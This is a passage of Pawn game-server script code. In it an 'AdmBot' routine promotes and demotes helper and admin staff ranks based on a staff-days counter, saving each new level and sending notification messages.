		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from helper level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	// helper 4
		if(PINFO[playerid][pHelper] == 4 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to helper level 5 from helper level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
		if(PINFO[playerid][pHelper] == 5 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from helper level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 5 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 3 from helper level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 5 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from helper level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pHelper] == 5 && PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from helper level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	//----
	
	
	
	
		// admin 1
	if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 100 && PINFO[playerid][pStaffDays] < 150)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 2;
		SaveKonVal(playerid, "pAdmin", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 2 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 1 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 1 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}

	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 50 && PINFO[playerid][pStaffDays] < 100)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 1;
		SaveKonVal(playerid, "pAdmin", 1);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 1 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	// admin 2
		if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 150 && PINFO[playerid][pStaffDays] < 200)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 3;
		SaveKonVal(playerid, "pAdmin", 3);
		   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 3 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 100 && PINFO[playerid][pStaffDays] < 150)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 2;
		SaveKonVal(playerid, "pAdmin", 2);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 2 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 50 && PINFO[playerid][pStaffDays] < 100)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 1;
		SaveKonVal(playerid, "pAdmin", 1);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 1 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	// admin 3
		if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 200 && PINFO[playerid][pStaffDays] < 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 4;
		SaveKonVal(playerid, "pAdmin", 4);
		   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 4 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 150 && PINFO[playerid][pStaffDays] < 200)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 3;
		SaveKonVal(playerid, "pAdmin", 3);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 100 && PINFO[playerid][pStaffDays] < 150)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 2;
		SaveKonVal(playerid, "pAdmin", 2);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 2 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 50 && PINFO[playerid][pStaffDays] < 100)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 1;
		SaveKonVal(playerid, "pAdmin", 1);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 1 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	// admin 4
		if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has promoted to admin level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 5;
		SaveKonVal(playerid, "pAdmin", 5);
		   new strmstr[256];
	   format(strmstr,256,"You've promoted to admin level 5 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
		if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 200 && PINFO[playerid][pStaffDays] < 250)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 4;
		SaveKonVal(playerid, "pAdmin", 4);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 4 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 150 && PINFO[playerid][pStaffDays] < 200)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 3;
		SaveKonVal(playerid, "pAdmin", 3);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 100 && PINFO[playerid][pStaffDays] < 150)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 2;
		SaveKonVal(playerid, "pAdmin", 2);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 2 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 50 && PINFO[playerid][pStaffDays] < 100)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to admin level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pAdmin] = 1;
		SaveKonVal(playerid, "pAdmin", 1);
		   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 1 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	
	
	
	//
		if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 3 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	
	
	
	
		if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 3 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	
	
	
	
	
	
		if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 3 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	
	
	
	
		if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 3 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	
	
	

	
	
	
	
	
		if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
